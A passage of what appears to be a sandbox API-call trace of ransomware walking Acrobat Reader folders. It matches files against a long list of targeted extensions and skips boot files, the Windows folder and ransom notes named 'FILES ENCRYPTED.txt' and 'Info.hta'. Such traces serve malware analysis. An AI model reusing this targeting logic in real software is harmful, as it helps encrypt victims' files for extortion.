[0274.832] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mdf") returned 4 [0274.832] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mdw") returned 4 [0274.832] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mef") returned 4 [0274.832] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mft") returned 4 [0274.832] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mfw") returned 4 [0274.832] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mht") returned 4 [0274.832] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mhtml") returned 6 [0274.832] lstrcmpiW (lpString1=".mhtml", lpString2="ng.png") returned -1 [0274.832] lstrlenW (lpString=".mka") returned 4 [0274.832] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mkidx") returned 6 [0274.832] lstrcmpiW (lpString1=".mkidx", lpString2="ng.png") returned -1 [0274.832] lstrlenW (lpString=".mkv") returned 4 [0274.832] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".mos") returned 4 [0274.833] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".mov") returned 4 [0274.833] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".mp3") returned 4 [0274.833] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".mp4") returned 4 [0274.833] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".mpeg") returned 5 [0274.833] lstrcmpiW (lpString1=".mpeg", lpString2="g.png") returned -1 [0274.833] lstrlenW (lpString=".mpg") returned 4 [0274.833] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".mpv") returned 4 [0274.833] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".mrw") returned 4 [0274.833] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".msg") returned 4 [0274.833] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".mxl") returned 4 [0274.833] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".myd") returned 4 [0274.833] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".myi") returned 4 [0274.833] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".nef") returned 4 [0274.833] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".nrw") returned 4 [0274.833] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0274.833] lstrlenW (lpString=".obj") returned 4 [0274.834] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".odb") returned 4 [0274.834] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".odc") returned 4 [0274.834] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".odm") returned 4 [0274.834] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".odp") returned 4 [0274.834] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".ods") returned 4 [0274.834] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".oft") returned 4 [0274.834] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".one") returned 4 [0274.834] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".onepkg") returned 7 [0274.834] lstrcmpiW (lpString1=".onepkg", lpString2="ing.png") returned -1 [0274.834] lstrlenW (lpString=".onetoc2") returned 8 [0274.834] lstrcmpiW (lpString1=".onetoc2", lpString2="ning.png") returned -1 [0274.834] lstrlenW (lpString=".opt") returned 4 [0274.834] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".oqy") returned 4 [0274.834] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".orf") returned 4 [0274.834] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".p12") returned 4 [0274.834] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0274.834] lstrlenW (lpString=".p7b") returned 4 [0274.834] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".p7c") returned 4 [0274.835] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pam") returned 4 [0274.835] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pbm") returned 4 [0274.835] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pct") returned 4 [0274.835] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pcx") returned 4 [0274.835] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pdd") returned 4 [0274.835] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pdf") returned 4 [0274.835] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pdp") returned 4 [0274.835] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pef") returned 4 [0274.835] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pem") returned 4 [0274.835] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pff") returned 4 [0274.835] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pfm") returned 4 [0274.835] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pfx") returned 4 [0274.835] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0274.835] lstrlenW (lpString=".pgm") returned 4 [0274.835] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0274.836] lstrlenW (lpString=".php") returned 4 [0274.836] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0274.836] lstrlenW (lpString=".php3") returned 5 [0274.836] lstrcmpiW (lpString1=".php3", lpString2="g.png") returned -1 [0274.836] lstrlenW (lpString=".php4") returned 5 [0274.836] lstrcmpiW (lpString1=".php4", lpString2="g.png") returned -1 [0274.836] lstrlenW (lpString=".php5") returned 5 [0274.836] lstrcmpiW (lpString1=".php5", lpString2="g.png") returned -1 [0274.836] lstrlenW (lpString=".phtml") returned 6 [0274.836] lstrcmpiW (lpString1=".phtml", lpString2="ng.png") returned -1 [0274.836] lstrlenW (lpString=".pict") returned 5 [0274.836] lstrcmpiW (lpString1=".pict", lpString2="g.png") returned -1 [0274.836] lstrlenW (lpString=".pl") returned 3 [0274.836] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0274.836] lstrlenW (lpString=".pls") returned 4 [0274.836] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0274.836] lstrlenW (lpString=".pm") returned 3 [0274.836] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0274.836] lstrlenW (lpString=".png") returned 4 [0274.836] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0274.836] lstrlenW (lpString="warning.png") returned 11 [0274.836] lstrlenW (lpString=".love$") returned 6 [0274.836] lstrcmpiW (lpString1=".love$", lpString2="ng.png") returned -1 [0274.836] lstrlenW (lpString="warning.png") returned 11 [0274.836] lstrcmpiW (lpString1="boot.ini", lpString2="warning.png") returned -1 [0274.836] lstrcmpiW (lpString1="bootfont.bin", lpString2="warning.png") returned -1 [0274.836] lstrcmpiW (lpString1="ntldr", lpString2="warning.png") returned -1 [0274.836] lstrcmpiW (lpString1="ntdetect.com", lpString2="warning.png") returned -1 [0274.837] lstrcmpiW (lpString1="io.sys", lpString2="warning.png") returned -1 [0274.837] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="warning.png") returned -1 [0274.837] lstrcmpiW (lpString1="Info.hta", lpString2="warning.png") returned -1 [0274.837] lstrcmpiW (lpString1="finbbp.exe", lpString2="warning.png") returned -1 [0274.837] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png") returned 119 [0274.837] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 1 [0274.837] lstrlenW (lpString="warning_2x.png") returned 14 [0274.837] lstrlenW (lpString=".1cd") returned 4 [0274.837] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0274.837] lstrlenW (lpString=".3ds") returned 4 [0274.837] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0274.837] lstrlenW (lpString=".3fr") returned 4 [0274.837] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0274.837] lstrlenW (lpString=".3g2") returned 4 [0274.837] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0274.837] lstrlenW (lpString=".3gp") returned 4 [0274.837] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0274.837] lstrlenW (lpString=".7z") returned 3 [0274.837] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0274.837] lstrlenW (lpString=".accda") returned 6 [0274.837] lstrcmpiW (lpString1=".accda", lpString2="2x.png") returned -1 [0274.837] lstrlenW (lpString=".accdb") returned 6 [0274.837] lstrcmpiW (lpString1=".accdb", lpString2="2x.png") returned -1 [0274.837] lstrlenW (lpString=".accdc") returned 6 [0274.838] lstrcmpiW (lpString1=".accdc", lpString2="2x.png") returned -1 [0274.838] lstrlenW (lpString=".accde") returned 6 [0274.838] lstrcmpiW (lpString1=".accde", lpString2="2x.png") returned -1 [0274.838] lstrlenW (lpString=".accdt") returned 6 [0274.838] lstrcmpiW (lpString1=".accdt", lpString2="2x.png") returned -1 [0274.838] lstrlenW (lpString=".accdw") returned 6 [0274.838] lstrcmpiW (lpString1=".accdw", lpString2="2x.png") returned -1 [0274.838] lstrlenW (lpString=".adb") returned 4 [0274.838] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0274.838] lstrlenW (lpString=".adp") returned 4 [0274.838] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0274.838] lstrlenW (lpString=".ai") returned 3 [0274.838] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0274.838] lstrlenW (lpString=".ai3") returned 4 [0274.838] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0274.838] lstrlenW (lpString=".ai4") returned 4 [0274.838] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0274.838] lstrlenW (lpString=".ai5") returned 4 [0274.838] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0274.838] lstrlenW (lpString=".ai6") returned 4 [0274.838] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0274.838] lstrlenW (lpString=".ai7") returned 4 [0274.838] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 0 [0274.839] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0274.839] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.839] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0274.839] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js") returned 103 [0274.839] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js") returned 1 [0274.839] lstrlenW (lpString="js") returned 2 [0274.839] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="js") returned -1 [0274.839] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.839] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js") returned 103 [0274.839] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0275.281] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.301] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 1 [0275.301] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls") returned 107 [0275.301] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls") returned 1 [0275.305] lstrlenW (lpString="nls") returned 3 [0275.305] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nls") returned -1 [0275.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.305] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls") returned 107 [0275.305] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0275.306] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.306] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0275.306] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk") returned 113 [0275.306] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk") returned 1 [0275.306] lstrlenW (lpString="da-dk") returned 5 [0275.306] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-dk") returned -1 [0275.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.306] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk") returned 113 [0275.306] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0275.306] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.306] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb31e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.306] lstrlenW (lpString="ui-strings.js") returned 13 [0275.306] lstrlenW (lpString=".1cd") returned 4 [0275.306] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0275.306] lstrlenW (lpString=".3ds") returned 4 [0275.306] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0275.306] lstrlenW (lpString=".3fr") returned 4 [0275.306] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0275.306] lstrlenW (lpString=".3g2") returned 4 [0275.306] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0275.306] lstrlenW (lpString=".3gp") returned 4 [0275.306] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0275.306] lstrlenW (lpString=".7z") returned 3 [0275.306] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0275.307] lstrlenW (lpString=".accda") returned 6 [0275.307] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0275.307] lstrlenW (lpString=".accdb") returned 6 [0275.307] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0275.307] lstrlenW (lpString=".accdc") returned 6 [0275.307] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0275.307] lstrlenW (lpString=".accde") returned 6 [0275.307] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0275.307] lstrlenW (lpString=".accdt") returned 6 [0275.307] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0275.307] lstrlenW (lpString=".accdw") returned 6 [0275.307] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0275.307] lstrlenW (lpString=".adb") returned 4 [0275.307] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0275.307] lstrlenW (lpString=".adp") returned 4 [0275.307] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0275.307] lstrlenW (lpString=".ai") returned 3 [0275.307] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0275.307] lstrlenW (lpString=".ai3") returned 4 [0275.307] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0275.307] lstrlenW (lpString=".ai4") returned 4 [0275.307] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0275.307] lstrlenW (lpString=".ai5") returned 4 [0275.307] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0275.307] lstrlenW (lpString=".ai6") returned 4 [0275.307] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0275.307] lstrlenW (lpString=".ai7") returned 4 [0275.307] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0275.307] lstrlenW (lpString=".ai8") returned 4 [0275.307] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0275.307] lstrlenW (lpString=".anim") returned 5 [0275.307] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0275.307] lstrlenW (lpString=".arw") returned 4 [0275.307] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0275.307] lstrlenW (lpString=".as") returned 3 [0275.307] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0275.308] lstrlenW (lpString=".asa") returned 4 [0275.308] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".asc") returned 4 [0275.308] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".ascx") returned 5 [0275.308] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0275.308] lstrlenW (lpString=".asm") returned 4 [0275.308] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".asmx") returned 5 [0275.308] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0275.308] lstrlenW (lpString=".asp") returned 4 [0275.308] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".aspx") returned 5 [0275.308] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0275.308] lstrlenW (lpString=".asr") returned 4 [0275.308] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".asx") returned 4 [0275.308] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".avi") returned 4 [0275.308] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".avs") returned 4 [0275.308] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".backup") returned 7 [0275.308] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0275.308] lstrlenW (lpString=".bak") returned 4 [0275.308] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".bay") returned 4 [0275.308] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".bd") returned 3 [0275.308] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0275.308] lstrlenW (lpString=".bin") returned 4 [0275.308] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0275.308] lstrlenW (lpString=".bmp") returned 4 [0275.308] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".bz2") returned 4 [0275.309] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".c") returned 2 [0275.309] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0275.309] lstrlenW (lpString=".cdr") returned 4 [0275.309] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".cer") returned 4 [0275.309] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".cf") returned 3 [0275.309] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0275.309] lstrlenW (lpString=".cfc") returned 4 [0275.309] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".cfm") returned 4 [0275.309] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".cfml") returned 5 [0275.309] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0275.309] lstrlenW (lpString=".cfu") returned 4 [0275.309] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".chm") returned 4 [0275.309] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".cin") returned 4 [0275.309] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".class") returned 6 [0275.309] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0275.309] lstrlenW (lpString=".clx") returned 4 [0275.309] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".config") returned 7 [0275.309] lstrcmpiW 